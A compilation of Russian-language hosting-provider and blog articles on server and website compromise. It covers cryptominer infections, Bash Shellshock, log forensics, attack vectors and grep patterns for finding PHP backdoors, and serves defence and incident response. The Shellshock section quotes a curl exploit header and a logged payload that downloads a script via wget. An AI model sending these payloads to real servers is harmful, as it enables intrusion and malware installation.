Взлом сервера через уязвимость на сайте

Взлом сервера майнерами

В сети обсуждают массовый взлом FirstVDS. Давайте разберёмся, в чём причина такого шума.

Претензия — FirstVDS не обеспечил защиту серверов

— Вы должны обеспечить своевременное обновление и защиту серверов клиентов

Компании со своей стороны обеспечивает поддержку работоспособности инфраструктуры. За администрирование конечного VDS, актуальность обновлений и безопасность сервера ответственен администратор VDS — сам клиент. В рамках услуги администрирования и чёткого ТЗ системные администраторы могут провести работы по настройке и усилению безопасности сервера клиента.

— Серверы взломала недобросовестная поддержка

У сотрудников саппорта действительно есть SSH-доступ к VDS клиентов. Однако он происходит через закрытый сервер аутентификации, который доступен только во внутренней сети, все запросы жёстко логируются. Мы мониторим логи, чтобы выявлять подозрительные подключения. Подробнее о системе авторизации мы писали тут.

Учитывая репутационные последствия и затраты на обработку подобных тикетов, для компании подобный «бизнес» крайне невыгоден.

— Взлом происходит через уязвимости на серверах компании

Основные цели атакующих — рассылка спама и запуск «криптомайнеров». Мы изучили достаточно много кейсов, чтобы утверждать: эксплуатируются локальные уязвимости на стороне конкретного VDS. Кроме того, уязвимости разные.

Цели злоумышленников достигаются путём запуска вредоносного ПО с правами локального пользователя. Если бы эксплуатировались уязвимости на серверах компании, злоумышленники получили бы полный доступ к конечным услугам, что повлекло бы более серьёзные последствия. Нет смысла запускать сервисы в ограниченном окружении пользователя, когда есть root-доступ на сервер.

Чтобы локализовать уязвимый ресурс и отследить атаку, рекомендуем настраивать каждый сайт под отдельным пользователем.

— А как же Meltdown/Spectre?

Обновления безопасности ПО проводятся на регулярной основе. Родительские ноды обновлены и защищены от данного типа атак.

Эксплуатация атак meltdown/spectre достаточно трудоёмкая и требует большого количества ручной работы. Масштаб проблемы даёт повод предполагать, что атаки автоматизированы и, вероятнее всего, работает ботнет. Нет смысла эксплуатировать уязвимости чтения памяти, когда пароль пользователя Qwerty123 или CMS обновлялась более 3-х лет назад.

— На моём сервере совсем нет сайтов или сайты самописные, без публичных уязвимостей. Как его взломали?

Кроме сайтов, на сервере есть программное обеспечение (например, phpmyadmin, proftpd, httpd), которое каждый день становится объектом исследований в области безопасности. Вероятность появления уязвимости нулевого дня для любого из сервисов каждый день достаточно велика.

Поэтому в задачи администратора сервера входит своевременная реакция на подобные инциденты и обновление ПО. В некоторых рассмотренных нами случаях эксплуатировались старые бэкдоры, «заложенные» злоумышленниками заранее. Возможно, даже через сайт, которого уже нет на сервере.

— Уязвимое ПО было установлено на мой сервер при покупке? Меня взломали через ПО в ваших шаблонах?

Все программное обеспечение устанавливается на сервер из актуальных репозиториев операционной системы, вероятность эксплуатации таких сервисов крайне мала.

Но, как было сказано выше, уязвимости могут появляться каждый день, и задача администратора — следить за актуальностью своих программных компонентов.

Сканеры уязвимостей находятся в свободном доступе, и взлом уязвимой системы — вопрос времени и целесообразности. При текущем спросе на криптовалюты второй вопрос отпадает сам собой.

Наша позиция — взлом осуществляется через уязвимости внутри VDS

Кейсы, которые мы уже разобрали и похожие случаи:

Отчёт от sucuri о подобных случаях (англ).

Мы также зафиксировали ряд взломов через уязвимости веб-сервисов.

Часть устаревшего программного обеспечения подвержена достаточно старым типам атак, например, CVE-2015-3306.

— Если дело в уязвимостях ПО, почему заражают только клиентов FirstVDS?

Это не так, заражению подвержены клиенты любого провайдера. Однако FirstVDS — крупный хостер (57 435 доменов, по данным Hosting101 за 2017 год — самый популярный в России хостинг виртуальных серверов). И на нашем примере эта проблема особенно хорошо заметна.

К тому же не у каждого крупного хостера есть VDS с виртуализацией OpenVZ.

Мы предоставляем неадминистрируемые VDS, поэтому обычно не знаем, если их взломали. Однако у VDS с виртуализацией OpenVZ общее ядро, поэтому можно отследить всех нарушителей с запрещённым ПО (в том числе майнеров) по возросшей нагрузке на родительский сервер. Среди них будут и намеренные, и взломанные.

Именно майнеров мы можем разделить на намеренных и взломанных — последних выдаёт скрипт phpBWa1dd_ysvh5cdgl5zu7gf4. Намеренных останавливаем сразу и просим удалить запрещённое ПО. Со взломами ситуация неоднозначная, но, так как из-за повышенной нагрузки страдают все клиенты на ноде, не можем оставить её без внимания.

Для начала решили останавливать паразитный процесс, не пришлось бы беспокоить клиентов уведомлениями про взлом. Но у нас нет возможности автоматически закрывать уязвимости на VDS, а без этого сервер будет вновь заражен.

На данный момент процедура выглядит так: останавливаем паразитный процесс, уведомляем клиента и рекомендуем закрыть уязвимости.

Если клиент не реагирует, уязвимости не закрыты, а сервер заразили уже 4 раза подряд, мы останавливаем VDS.

На виртуализации KVM с уровня родительского сервера не видны процессы конкретного VDS. В этом случае мы не можем отследить взлом. Поэтому блокируем VDS, которые генерируют большое количество паразитного трафика, и разбираемся в причинах индивидуально.

— Почему вы не решаете проблему?

В каждой такой ситуации взлома требуется индивидуальное решение. Поэтому в первую очередь мы рекомендуем обратиться к специалистам, занимающимся защитой сайтов. Например, в компанию Revisium. Ни о каком партнёрстве и денежной выгоде тут речи нет. Ещё у них есть бесплатный сканер вирусов и вредоносных скриптов Ai-bolit.

Также мы рекомендуем Virusdie (700 руб. в месяц) — это хороший антивирус и модуль в панели ISPmanager, с которой мы работаем. Плагин позволяет самостоятельно производить неограниченное количество очисток всех сайтов в течение месяца. Подключается в панели ISPmanager в раздел Интеграция → Модули.

Наши специалисты могут вручную произвести проверку и очистку сайтов от вирусов, но она разовая и обходится дороже — 1000 руб. Кроме того, проблема не решается только чисткой вирусов.

Если вы обладаете достаточными навыками администрирования Linux, можно провести проверку самостоятельно. В нашей базе знаний вы найдёте статьи в помощь: Поиск вирусов на сайте, Поиск вирусов с помощью Linux Malware и другие в разделе Безопасность.

Так как чистка не предотвращает повторное заражение, сначала нужно закрыть уязвимости.

Если вас не взломали, всё равно стоит позаботиться о профилактике. Воспользуйтесь рекомендациями по ссылке и статей про защиту WordPress от брутфорс атак.

Если ваш сервер взломали, и это не связано с описанными уязвимостями — напишите запрос в поддержку, мы заинтересованы разбирать нестандартные кейсы..

Источник: https://FirstVDS.ru/blog/vzlom-servera-maynerami

Взлом серверов через уязвимость “Bash Shellshock”

Наверняка вы уже слышали об обнаруженной в сентябре этого года уязвимости “Bash Shellshock”.

Уязвимость присутствует в 100% старых операционных систем, использующихся нашими клиентами услуги VDS и Dedicated. Подробные инструкции по обновлению bash представлены в статье на нашем сайте.

На данный момент, среди наших клиентов уже зафиксированы случаи взлома серверов с необновленным bash.

Как понять, что вас взломали? На взломанном сервере резко возрастает потребление трафика и объем используемых ресурсов процессора, запускаются “подозрительные”” процессы, в crontab прописываются сторонние команды.

На примере

Эксплуатируют уязвимость “Bash Shellshock” таким образом:

curl -H “User-Agent: () { :;};/usr/bin/id” http://(ip-адрес)/cgi-bin/php

После этого от имени www-data запускается:

— /usr/bin/id.

Так выглядит запись в логе веб-сервера об атаке:

127.0.0.1:80 178.60.32.36 – – [20/Oct/2014:01:44:45 +0600] “GET /cgi-bin/php HTTP/1.1” 500 811 “-” “() { :;}; /usr/bin/wget -O /tmp/c.pl –no-check-certificate http://(ip-адрес)/t.txt

На взломанном сервере можно наблюдать сторонние команды в crontab:

root@uХХХХХ:~# cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE – edit the master and reinstall.
# (cron installed on Mon Oct 20 01:22:02 2014)
# (Cron version — $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * /dev/shm/.f/update >/dev/null 2>&1 root@uХХХХХ:~# ls /dev/shm/.f/update
/dev/shm/.f/update

А так же “сторонние” процессы от пользователя www-data (от которого должен быть запущен только apache/nginx):

root@uХХХХХ:~# ps axu | grep www-data
…
www-data 21639 12.6 0.1 4568 2416 ? R 00:26 15:42 klogd -x
www-data 22806 0.0 0.0 4568 1684 ? S 01:22 0:00 klogd -x
www-data 22810 0.0 0.0 2112 952 ? Ss 01:22 0:02 crond
www-data 23634 1.1 0.1 4568 2436 ? S 01:52 0:26 klogd -x
…

Мы приняли срочные меры по устранению проблемы: чтобы прекратить попытки взлома, настроили фильтрацию для серверов на которых размещаются клиенты с услугой VDS, кроме того выполнили автоматизированное обновление bash на 99% виртуальных Облачных серверов наших клиентов. В связи с этим обращаем ваше внимание на необходимость незамедлительного обновления bash!

Быстрая проверка на наличие уязвимости

Для проверки вашего bash на предмет уязвимости достаточно зайти в консоль сервера и выполнить вот такую команду:

env X=”() { :;} ; echo vulnerable” bash -c “echo stuff”

Если в результате выполнения этой команды вы увидите две строки и одна из них будет со словом 'vulnerable', ваш bash уязвим.

Если вы не знаете как произвести обновление или даже как проверить уязвима ли операционная система на вашем сервере, рекомендуем обратиться в нашу техническую поддержку по телефонам +7 (343) 253-55-00, 8-800-2000-699 или электронной почте [email protected]. Работы по обновлению системы будут произведены на платной основе по нашему прейскуранту.

2014.10.22

Источник: https://www.netangels.ru/company/news/2014/hacking-bash/

Как найти следы взлома в логах сервера

Взлом сайта — неприятная штука, но рано или поздно это может произойти с вашим сайтом. По данным сервиса Internet Live Stats в 2018 году около 100.000 сайтов взламывалось ежедневно, поэтому к этому событию лучше подготовиться заранее, и знать, что следует делать, если это произойдет.

С помощью записей в журнале событий на сервере можно определить, как сайт был взломан, после этого устранить уязвимость в безопасности, чтобы не допустить повторного заражения.

В этой статье вы узнаете, как хакеры проникают на сайт, как найти их следы в логах сайта, и как попытаться восстановить контроль над сайтом самому.

Как хакеры взламывают сайты

Обычно хакеры используют ботов для обхода десятков тысяч сайтов с целью найти в них уязвимости по спискам известных уязвимостей, которые находятся в открытом доступе.

Когда боты находят такие сайты, они взламывают их по известному алгоритму и отправляют сообщение хакеру.

Иногда хакеры взламывают сайты вручную, когда хотят получить доступ к какому-то определенному сайту, но по сравнению с автоматическим способом это происходит очень редко.

Основные способы, которыми хакеры проникают на сайты:

Перебор паролей (взлом грубой силой) — Хакер просто пытается угадать ваш логин и пароль. Если вы используете простые логины, например, Admin или Administrator, это дает хакерам половину данных для доступа к вашему сайту. Если вы используете простые пароли, то это еще более ускоряет проникновение на ваш сайт.
Уязвимости софта — Когда хакеры определяют, что вы используете устаревший софт, по спискам известных уязвимостей, находящимся в открытом доступе, они находят уязвимость в вашей устаревшей версии Вордпресс, плагина, темы или скрипта, и, например, внедряют свой скрипт для проникновения на ваш сайт.
Бэкдоры — Хакер внедряет файл в файловую структуру сайта. В файле находится скрипт, который позволяет хакеру получить доступ к сайту, оставаясь при этом незамеченным. Бэкдоры.
Небезопасный сервер — Сервер, на котором расположен ваш сайт, должен быть безопасным. Если он небезопасен, хакеры могут использовать уязвимости в ПО сервера для проникновения на ваш сайт.
Неверные права доступа — Права доступа к файлам и папкам определяют, кто может читать, записывать и исполнять файлы. Если вы установите слишком низкие права доступа, хакеры смогут редактировать ваши файлы, внедрять скрипты, например, бэкдоры, и в итоге получат контроль над сайтом.
XML-RPC эксплоиты — XML-RPC используется для трекбэков и пингбэков. Это позволяет делать несколько удаленных вызовов по одному HTTP запросу. Например, сайт может отправлять пингбеки на другие сайты и получать их от других сайтов. Проблема в том, что хакеры могут использовать эту функцию для выполнения удаленных автоматических атак с перебором паролей, когда они без ограничения с высокой частотой перебирают разные варианты логина и пароля. Подробнее.
Вредоносное ПО и вирусы — Если у вас на компьютере есть вредоносное ПО или вирусы, хакеры могут их использовать для проникновения на сайт.
Фишинг — Хакеры могут захватить или создать похожий на оригинальный сайт. На захваченном или похожем сайте хакеры создают похожую на оригинальную форму авторизации, чтобы похитить персональные данные пользователей, когда они авторизуются на сайте.
XSS-атаки (Cross-site Scripting) — Это код, написанный определенным образом, который позволяет хакеру записывать и выполнять вредоносный JavaScript, который сохраняет данные браузера пользователя. Хакеры отправляют ссылку пользователям сайта, чтобы похитить любую информацию, введенную пользователями при просмотре сайта.
CSRF (Cross-site request forgery) — Подделка межсайтового запроса. Хакер вносит изменение в оригинальный запрос пользователя, создавая свой вредоносный запрос. У хакера нет прав администратора, поэтому он обманным путем заставляет пользователя совершать действия, которые дают хакеру разрешение на выполнение этого вредоносного запроса. Такой тип атак используется для того, чтобы заставить пользователя делать нужные действия, например, предоставить свои логин и пароль для входа на сайт.

Это основные типы атак, которые используют хакеры, но кроме этих существуют и другие, поэтому практически невозможно угадать, каким именно путем хакер проник на сайт.

Вы можете попробовать что-то сделать, например, поменять пароли, но если вы видите, что хакер все равно продолжает проникать на сайт, значит, проблема еще не решена.

Единственный способ вылечить сайт — это выяснить, как хакер на него попадает, и устранить эту уязвимость.

Логи событий

Журнал событий сайта может содержать информацию или дать подсказку о том, как сайт был взломан.

Логи находятся на хостинг панели, в зависимости от используемого софта они могут называться по-разному: «Логи», «Журнал событий», «Метрики» или что-нибудь в этом роде. Обычно в этом разделе находятся 2 журнала: «Логи ошибок» и «Логи доступа«. Логи ошибок короче, поэтому начать можно с них, но они не показывают успешные попытки доступа.

Логи доступа содержат информацию об успешных попытках доступа, здесь больше вероятность найти следы взлома.

Логи хранятся на сервере определенное количество дней, после чего они автоматически удаляются. Скопируйте их на компьютер, пока они не были удалены с сервера.

Сохраните файлы на компьютер из хостинг панели или напрямую с сервера, и откройте в любой текстовой программе, например Notepad++ или Brackets.

Как читать логи

Логи доступа и логи ошибок выглядят как трудночитаемое поле текста, но все записи организованы в определенную структуру.

Структура записи в Журнале ошибок:

Дата и время
Тип ошибки
IP адрес пользователя
Описание ошибки
Путь к файлу страницы, на которой произошла ошибка
URL сайта, с которого пользователь пришел на страницу с ошибкой

Большинство логов ошибок имеет такую структуру, но ваш лог может отличаться, это зависит от ПО сервера. Если ваш лог отличается, вы все равно увидите повторяющуюся структуру.

Логи событий тоже имеют стандартную структуру:

IP адрес пользователя
Дата и время
Используемый HTTP метод и версия
HTTP код ответа
Количество полученных байтов
Используемый софт (браузер или ОС посетителя)
User agent

Как найти нужные данные

Начните с просмотра Лога ошибок, это может дать подсказку для поиска взлома в Логах доступа.

Если вы увидели, что кто-то пытался получить доступ к файлам, которые обычный посетитель не должен посещать, но хакер может, тогда обратите внимание на этот IP. Хакер может попытаться получить доступ к файлам .htaccess, wp-config.php, install.php и другим подобным.

Пример ошибки в Логе ошибок:

[Sat Jul 07 16:17:46 2018] [error] [client 123.45.67.890:20744] AH01630: client denied by server configuration: /путь/к/вашему/сайту/.htaccess

В этом примере сервер отказал пользователю в доступе к файлу .htaccess, потому что у него не было разрешения на просмотр этого файла. Если вы не узнаете этот IP адрес, и это не ваш адрес, то это определенно попытка взлома.

Если вы не знаете свой IP адрес, узнайте его здесь, или спросите в поисковике «мой IP адрес».

Для загрузки страницы обычно требуется загрузить много компонентов — картинки, скрипты, стили, поэтому нормально видеть, что один и тот же IP получает доступ к одной странице несколько раз, как в этом примере:

Но не нормально, если один и тот же IP много раз пытается получить доступ к файлам, к которым обычно требуется получить доступ несколько раз за сессию, особенно если пользователь обращается ко всем файлам подряд и раз в несколько секунд. Если вы видите повторяющиеся запросы к одним и тем же файлам, это может говорить о том, что это хакер или хакбот.

В этом примере вы видите, что пользователь обратился к странице ~/wp-login.php в первой строке, и запрос был успешным.

После того, как загрузились все нужные файлы, пользователь был успешно авторизован и направлен на страницу Консоли в строке 5. Следующим действием администратор прошел в редактор плагинов в строке 9.

В этом примере вы видите подозрительную активность, так как не все пользователи после авторизации пойдут в редактор тем или плагинов, но хакер пойдет. Ещ это значит, что хакер знает логин и пароль администратора.

Если вы видите в логе ошибок и логе доступа, что было много неудачных попыток зайти на сайт или обращений к странице восстановления пароля, и после этого вы видите удачную попытку, то вы нашли хакера, который подобрал логин и пароль для входа на сайт.

Большое количество неудачных попыток войти на сайт перед последней удачной попыткой будут иметь один из 400-х ответов сервера:

400 Bad Request — Ошибка синтаксиса или неверный запрос.
401 Unauthorized — Эта ошибка появляется, когда требуется авторизация для просмотра страницы, но она не была дана, или она недействительна.
403 Forbidden — аналогично с ошибкой 401, этот ответ означает, что пользователь не имеет прав для просмотра этой страницы. То есть, технически доступ разрешен, но сервер запретил доступ этому пользователю.
429 Too Many Requests — Слишком много запросов за определенный период времени. Обычно пользователи не видят такой ответ, такая ошибка может указывать на активность какого-то бота.

Это не весь список ошибок, которые вы можете увидеть, но смысл в том, что описание событий может дать подсказку, что произошло с сайтом.

Самая сложная часть в просмотре логов доступа — это большое количество записей, даже для маленьких сайтов. Обычный вход администратора на сайт описывается 10 событиями в журнале, даже если он больше ничего не делал, поэтому размер лога становится большим на маленьких сайтах, и очень большим — на больших.

Как отсеять обычных посетителей

Чтобы уменьшить количество информации в логе можно отфильтровать обычные запросы. Откройте SSH клиент, например, Terminal для MacOS или PuTTY для Windows, или встроенный SSH клиент на хостинге, и попробуйте отсеять безопасные запросы.

С помощью этих команд вы можете отсеять 2/3 записей, в которых запрашивались картинки, файлы скриптов и стилей, главная страница, страница контактов и страница регистрации на сайте.

Главная страница обозначена / в части GET (/|/contact|/signup). Вы также можете изменить contact и signup на другие страницы, или добавить другие страницы.

Если у вас остается много записей, вы можете отфильтровать запросы к странице авторизации и панели администратора:

$ cat access-log |grep -E «wp-admin|wp-login|POST /» | more

Эти страницы часто атакуются хакерами, поэтому сначала просмотрите логи, относящиеся к этим страницам, особенно если было много неудачных попыток доступа к ним, после чего отфильтровать их.

Если вы знаете IP адреса админов, редакторов и других ролей, вы можете исключить эти запросы с помощью этой команды:

Замените 1.2.3.4 и 1.2.3.5 на свои адреса.

Хотя эти команды уменьшат размер лога, чтобы было проще найти действия хакера, это все равно займет много времени. Кроме этого, в большинстве случаев логи хранят информацию только за последние несколько дней, но хакер мог проникнуть на сайт раньше, поэтому лог с его активностью мог быть удален с сервера.

Устраните уязвимость

После того, как вы выяснили, как хакер проник на сайт, устраните найденную уязвимость.

Автоматизируйте процесс

Если еще не поздно, установите какой-нибудь плагин безопасности, он усилит безопасность сайта и предупредит вас в случае подозрительной активности на сайте. Включенный плагин заблокирует будущие попытки взлома и сэкономит много времени на поиск проблемы и восстановление сайта.

Поделитесь в комментариях, взламывали ли хакеры ваш сайт, если да, то как вы его восстановили. Что вы делаете для безопасности сайта?

Источник: https://techbear.ru/kak-nayti-sledy-vzloma-v-logah-servera/

Взломать Нельзя Защитить

Представим типичную ситуацию: ваш сайт работает на коммерческой CMS последней версии. Все плагины обновлены, а «бреши» пропатчены. Ваш хостер — авторитетный провайдер хостинговых услуг.

Сайт работает стабильно, и кажется, что всё под контролем. И вы считаете, что взломанный сайт — удел неудачников, которые используют «варезные» шаблоны и ничего не смыслят в безопасности…

Но взломали — вас!

С вашего сайта начали рассылать спам, посетители жалуются на недобросовестную рекламу, хостер пишет про фишинговый контент на сайте, который вы, естественно, не размещали.

Как такое могло произойти?

Всё дело в том, что эксплуатация уязвимостей и веб-атаки — далеко не единственная (хоть и наиболее популярная) возможность для злоумышленника получить несанкционированный доступ к вашему проекту. И в данной статье мы хотим рассказать о других способах взлома сайта с рекомендациями по их предотвращению.

Варианты взлома сайтов

Рис.1 — Варианты взлома сайтов

На рисунке (Рис.1) мы сгруппировали практически все возможные варианты взлома, которые делятся на три категории:

Стань перформанс-маркетологом за 19 недель!

взлом в результате веб-атак;
взлом сайта не через веб, но без участия человека;
взлом по вине сотрудников и подрядчиков.

Самая многочисленная категория относится ко взлому сайтов через веб. (Рис.2):

Рис.2 — Способы взлома сайтов по частоте использования

На неё приходится порядка трёх четвертей от всех возможных вариантов несанкционированных вторжений. Именно поэтому об этом так много пишут и говорят. Именно поэтому веб-мастера и владельцы сайтов обращают внимание на закрытие уязвимостей и обновление плагинов и CMS до актуальной версии. И именно поэтому считают, что если данное условие выполнено, то их сайту ничего не угрожает.

Однако это далеко не так.

Взлом сайта не через веб

Взлом сайта не через веб-уязвимости представлен довольно большим классом технических «возможностей» для злоумышленников:

Перехват или кража доступов. Необязательно, что эти доступы украдут именно у вас. Зараженный трояном компьютер, с которого удалённо работает ваш приходящий бухгалтер, или небезопасное подключение к wi-fi фрилансера, который решил внести правки на ваш сайт, находясь в коворкинге, могут стать причиной кражи доступов от сайта и хостинга.

Работа по wi-fi в общественных местах — отдельная возможность для взлома.

Вы никогда не знаете, кто сидит за соседним столом и не «снифферит» (перехватывает) ли этот кто-то трафик, чтобы воспользоваться собранной информацией в недобропорядочных целях.

А ещё сейчас часто заражают wi-fi роутеры, в результате чего весь незащищенный трафик, идущий через них, оказывается перехваченным (пароли, конфиденциальная информация, и пр).

Брут-форс атаки (подбор пароля от FTP/SSH/панели хостинга).

К сожалению, очень многие владельцы сайтов и веб-администраторы не задумываются о надёжности своих паролей — ставят для удобства простые и короткие комбинации, которые весьма легко «угадываются» роботами подбором по заранее заготовленному словарю.

На первый взгляд, ситуация выглядит довольно надуманной, но многие до сих пор используют в качестве пароля от администраторского аккаунта банальное «12345» или admin/admin.

Взлом сайта через «соседей» по аккаунту хостинга. На практике очень редко когда сайты размещают изолированно друг от друга, по одному на аккаунте.

Обычно рядом с веб-проектом соседствует один или несколько сайтов, иногда это тестовая площадка основного сайта, развернутая на техническом домене.

Сайты, которым не уделяется должное внимание в плане защиты или забытые или ненужные веб-проекты, могут стать причиной взлома всего аккаунта, в том числе и вашего «неуязвимого» сайта.

Компрометация сервера хостинга. Где хостится ваш сайт? На сервере знакомого программиста или у профессионального хостера? Если ваш хостер не обладает нужными компетенциями, не имеет должного опыта для грамотного и безопасного администрирования, сервер смогут взломать через уязвимые компоненты или небезопасные настройки.

Что нужно сделать для защиты своего сайта

Грамотно выбирать хостера. Если не хватает компетенции выбрать хостинговую площадку по техническим параметрам самостоятельно, совет — довериться одному из хостеров, входящих в десятку лучших по РФ или СНГ. Например, воспользоваться этой информацией или посмотреть рейтинг хостинговых компаний по числу клиентских доменов. Ведущие хостинг-провайдеры заботятся о безопасности своих клиентов и активно инвестируют в повышение безопасности своих серверов.
Нужно всегда помнить про безопасное размещение сайтов на хостинге. Если есть возможность, взять отдельный аккаунт для каждого сайта или разместить на аккаунте минимальное число сайтов, так как это будет более безопасно. Об этом нужно думать в момент размещения сайта на хостинге или при выборе хостинга, так как некоторые хостеры уже имеют встроенный механизм изоляции сайтов внутри виртуальной площадки. Если сайты не изолированы друг от друга (то есть скриптами одного сайта можно вносить изменения в файлы другого) — то велик риск взлома всего аккаунта.
Необходимо ограничить подключение по FTP и SSH с помощью дополнительного пароля, например, приходящего по SMS, или предоставить доступ с определенных IP-адресов.
Регулярно менять пароли. Чем чаще вы меняете пароли, тем меньше у злоумышленника шансов воспользоваться перехваченными или украденными.
Для работы в открытых wi-fi сетях использовать VPN, чтобы избежать перехвата конфиденциальной информации программами-анализаторами трафика — снифферами.

VPN — это отдельный сервис, который покупается на специализированных сайтах: пример.

Пользователь скачивает программу, указывет в ней свою учетную запись и далее одной кнопкой включает или выключает безопасную передачу данных между своим компьютером и удаленным сервисом или сайтом.

Взлом сайта по вине подрядчиков или сотрудников

Вы передаёте доступы к сайту и хостингу своему подрядчику для выполнения каких-то работ. Подрядчик действует быстро и профессионально: желаемые изменения на сайт внесены, сайт снова работает, как часы.

Но через некоторое время вы замечаете, что трафик снижается, а в статистике сайта появляются переходы на сторонние сайты. Что случилось? Не спешите подозревать веб-мастера, что он сделал это целенаправленно.

Возможно, произошла кража доступов или его компьютер был заражен (о чём мы писали ранее). Даже бдительный и осторожный пользователь может стать жертвой случайного инцидента.

Но факт остается фактом: ваш стабильно работающий веб-ресурс взломали.

Здесь правила очень просты: хотите управлять безопасностью своего сайта при работе с подрядчиками — управляйте доступами к веб-ресурсу. Что это значит?

Предоставляйте доступы подрядчикам на минимальный срок и с минимальными привилегиями. То есть, если фрилансеру нужно поправить какой-то шаблон на сайте, не стоит ему давать root-пароль от сервера. Достаточно дать SFTP или SSH доступ, создать пользователя с минимальными, но достаточными правами и предоставить SFTP-подключение в каталог, где лежит указанный шаблон.
Возьмите за правило проводить аудит сайта, после того как подрядчик выполнил все работы. Это можно сделать самостоятельно после выполнения работ путем сравнения файлов или с помощью привлеченных сторонних специалистов.
Для самостоятельной проверки сайтов мы рекомендуем использовать бесплатные сканеры вредоносного кода AI-BOLIT и веб-сканер ReScan.pro. Они помогут быстро проверить сайты на вирусы и вредоносный код.
Работайте на договорной основе, сотрудничество на «честном слове» может неприятно разочаровать.
Инструктаж подрядчиков — необходимая составляющая комплекса мероприятий по безопасной работе с веб-ресурсом. Часто, когда задачу нужно сделать быстро — например, срочно поправить что-то в шаблонах или скриптах — правила безопасности могут игнорироваться, а в результате владелец сайта столкнется с неприятными последствиями. Не забываем, что сотрудника можно обмануть и он добровольно передаст доступы третьим лицам.

Самый яркий случай из нашей практики был связан с передачей доступов от хостинга секретаршей компании клиента. Злоумышленники представились техподдержкой, обслуживающей сайты компании, и, ссылаясь на срочность выполнения одной из задач по просьбе руководства, обманным путем смогли получить пароль от аккаунта хостинга.

В современных условиях агрессивного интернета владельцам сайтов чрезвычайно важно выработать для себя политику безопасности при работе с веб-ресурсом. И речь идет не только о технических мерах, но и организационных — это и правила работы с подрядчиками, и правила работы с сайтом внутри компании. Часто этой самой «уязвимостью» вашего сайта является сам человек.

Кроме того, недостаточно закрыть все уязвимости и установить на сайт мониторинг, который оперативно проинформирует вас об инциденте. Обязательно нужно разработать для себя план действий — алгоритм, что вы будете делать, если взлом сайта произойдет.

Сделать полную резервную копию текущей версии сайта, чтобы сохранить следы взлома.
Запросить в техподдержке хостинга журналы веб-сервера за максимально возможный период времени.
Заблокировать доступ к сайту через веб, сменить все пароли и незамедлительно обратиться к специалистам.

И в заключение — старайтесь сделать процесс обеспечения безопасности сайта как можно более удобным для вас и ваших сотрудников (чтобы это было не сильно сложно / затратно по времени / скучно и так далее). Иначе инструкция будет говорить одно, а люди через некоторое время всё равно будут её игнорировать.

Мнение редакции может не совпадать с мнением автора. Если у вас есть, что дополнить — будем рады вашим комментариям. Если вы хотите написать статью с вашей точкой зрения — прочитайте правила публикации на Cossa.

Источник: https://www.cossa.ru/234/134334/

Как обнаружить и устранить последствия взлома сайта на сервере

Самый простой способ устранить последствия взлома сайта

Делайте бекапы (резервное копирование) и, в случае заражения, восстанавливайтесь из них. Это самый простой, эффективный и надёжный способ быстро устранить последствия взлома. Если бекапов нет, то в помощь советы ниже, но после восстановления обязательно настройте регулярное резервное копирование сайта, ведь теперь весьма доходчива и очевидна ещё одна причина, зачем они нужны.

Необходимый инструментарий

Доступ к SSH c правами root;
Putty или Far Manager.

Подготовка к устранению взлома сайта

Чтобы просканировать весь сервер, перейдите в корень сервера:

cd /

Либо в директорию с сайтами (в разных системах местоположение может отличаться):

cd /var/www

Ищем уязвимости в логах log, сжатых gzip, gz

Если сайт неожиданно получает неестественную для него нагрузку, первым делом проверьте логи ошибок на предмет доступа к необычным местам, файлам и тому подобное.
Сначала изучите логи ошибок сайта, ищите следы исполнения eval():

Эта команда сканирует логи .log:

find . -type f -name '*.log' | xargs grep “eval()'d code on line” –color

А эта — исследует запакованные в gzip логи (обычно их пакует ротатор логов):

find . -type f -name '*.gz' | xargs zgrep “eval()'d code on line” –color

Поиск последних изменённых файлов

Довольно часто (но не всегда) помогает поиск последних изменённых файлов:

find . -type f -name '*.php' -mtime -7

Эта команда ищет всех файлы .php, которые изменялись за последние 7 дней

find . -type f -name '*.ico' -mtime -4

А эта — файлы .ico, которые изменялись последние 4 дня.

Поиск уязвимостей в файлах php

find . -type f -name '*.php' | xargs egrep “eval/|eval(” –colorfind . -type f -name '*.ico' | xargs egrep “eval/|eval(” –color

Проверяет .php и .ico файлы на наличие в них eval().

find . -type f -name '*.*' | xargs grep “@$GLOBALS[$GLOBALS[” –color

Команда ищет GLOBALS. Надёжный вариант, если что-то находит, то это бекдор.

find . -type f -name '*.*' | xargs grep “$GLOBALS[” –color

Ещё одна команда ищет GLOBALS. Бывают ложноположительные результаты, но изучить их стоит внимательно.

find . -type f -name '*.*' | xargs grep “@include “” –color

Ищет инклуды. Без них бекдоров не бывает, поэтому очень пристально изучите результаты.

find . -type f -name '*.*' | xargs grep “base64_decode” –color

Команда ищет base64_decode. Ну, какой же бекдор без шифрования? Однако, часты и ложноположительные результаты.

find . -type f -name '*.*' | xargs grep “$_COOKIE” –color

Команда ищет $_COOKIE. Не всегда информативно, так как часто срабатывает на чистых файлах, однако помогает находить самые изощрённые бекдоры.

find . -type f -name '*.*' | xargs grep “$auth_pass” –color

Команда ищет $auth_pass. В этих переменных часто хранят пароли.

find . -type f -name '*.*' | xargs grep “IonCube_loader” –color

Бекдоры часто используют загрузчик IonCube

Как выглядит зашифрованный код инъекции

Инфицированные файлы определить легко — обфусцированный код инъекции занимает много места и отличается от обычного. Ниже пример инфицированного файла /wp-admin/load-styles.php:

Как выглядит инфицированный файл ядра WordPress

Хотя, бывают и маленькие файлы-бекдоры, поэтому внимательно изучите всю выдачу и перепроверьте её несколько раз. Скажем, вот пример, когда файл .php не должен располагаться в директории загрузок WordPress:

Поиск уязвимостей в файлах иконок ico

То же самое сделайте для файлов .ico, бывает, бекдоры и там шифруются

find . -type f -name '*.ico' | xargs grep “$_COOKIE” –colorfind . -type f -name '*.ico' | xargs grep “base64_decode” –colorfind . -type f -name '*.ico' | xargs grep “@$GLOBALS[$GLOBALS[” –color

Устранение последствий взлома сайта на WordPress

Самое простое — это восстановить сайт из бекапа (резервной копии), который заведомо не заражён. Если это невозможно, то можно воспользоваться следующей инструкцией:

Временно отключаем сайт;
Удаляем всё, кроме /wp-content/, /wp-config.php (предварительно проверьте его, лучше сканером антивируса) и остальных текстовых файлов, что вы используете;
Скачиваем свежий дистрибутив WordPress и распаковываем его в директорию сайта;
В /wp-content/ перезакачиваем все плагины, предварительно удалив старые (они наверняка заражены);
Сканируем все папки на наличие бекдоров. Часто файлы .php располагаются в директории загрузок /uploads/, где их быть не должно, и если таковой обнаружен, он должен насторожить;
